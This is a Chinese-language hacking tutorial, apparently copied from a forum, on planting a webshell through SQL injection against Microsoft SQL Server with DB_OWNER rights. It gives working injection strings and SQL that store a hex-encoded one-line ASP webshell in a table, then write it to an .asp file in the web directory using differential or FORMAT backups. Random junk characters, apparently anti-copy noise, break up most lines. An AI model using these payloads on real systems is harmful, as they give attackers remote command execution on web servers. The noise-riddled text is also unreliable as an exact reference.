DB_OWNER权限得到webshell的两点改进:
/ ?2 U4 o9 w' E( o% Y8 c
1 F- Y, \ k6 Z减少备份文件大小,得到可执行的webshell成功率提高不少
5 F* I' ?7 \) u一利用差异备份$ m* E, a& U3 J' b" O5 b6 B
加一个参数WITH DIFFERENTIAL
$ \3 X3 Q7 j0 q1 f
" G* y. v* W4 E3 k1
4 K& H5 C: c% `" h8 i6 r3 R2& q! @8 a& `7 O8 W2 y" V
3: x) v$ T3 |8 G4 P4 J7 r7 M
4, v* v7 n. u4 {* i
declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x77006F006B0061006F002E00620061006B00 backup database @a to disk=@s+ C6 k0 k' w d5 w1 o; u- E; C+ ^
create table [dbo].[xiaolu] ([cmd] [image]);
# o5 i2 T0 J5 ]- o) vinsert into xiaolu(cmd) values(0x3C25657865637574652872657175657374282261222929253E)4 t1 Y: S3 z' V, S" e# {4 ?
declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x65003A005C007700650062005C0077006F006B0061006F002E00610073007000 backup database @a to disk=@s WITH DIFFERENTIAL
9 G7 s2 i; o% M: [$ @
2 G/ S+ g% y1 x6 s5 }. D二利用完全FORMAT
! }1 V9 X+ I( ^7 z6 h加一个参数WITH FROMAT$ x& M# @5 O- l5 F
有些页面对数据库要执行几次,而备份又默认是每次都以追加的方式,如果一个注入点对数据库有几次操作,而备份的文件就 几倍的增加,所以5 B+ M6 s+ y# K/ E' j$ N5 G. z
* D1 k' O# ~ p$ c6 c3 E3 m7 g1
9 a6 X9 Z! s, [4 C7 K2& N8 B2 Y6 P4 F1 k* M7 @
3
+ X; i. t- k5 j2 {1 x% p9 |( {9 @4
s4 G5 M( V4 [/ @0 H) R! ?" p; W declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x77006F006B0061006F002E00620061006B00 backup database @a to disk=@s& J2 q! E6 V5 |
create table [dbo].[xiaolu] ([cmd] [image]);; R- |0 \: C; [8 v1 L8 k
insert into xiaolu(cmd) values(0x3C25657865637574652872657175657374282261222929253E)
8 P) a( v& V# @, C9 r' w/ |declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x65003A005C007700650062005C0077006F006B0061006F002E00610073007000 backup database @a to disk=@s WITH FORMAT
n) `% I$ b' z5 h9 g
+ s# X1 o# W H9 Q, m2 e# D8 P% d总的来说就是那么简单几句,下面以备份数据库model为例子& F+ F- o7 E+ s$ X; q. g, k
1
$ H4 G* a, t' c9 P: }3 ]# J' O. |2 S- W# U8 @" O
1
( q; B' A; G# f& z) H id=1;use model create table cmd(str image);insert into cmd(str) values ('<%25execute(request("a"))%25>') 4 Q0 @( r# v( v1 D W& ^4 O4 t' O
4 W+ @# n& T: y5 k! E
2
$ H/ {$ g& K. t8 D+ G
( i; L( H, T3 k$ Q1% M, i/ r3 c" @+ [. x
id=1;backup database model to disk='你的路径‘ with differential,format;--
$ J; ~& }# {* ]% ?5 k- V |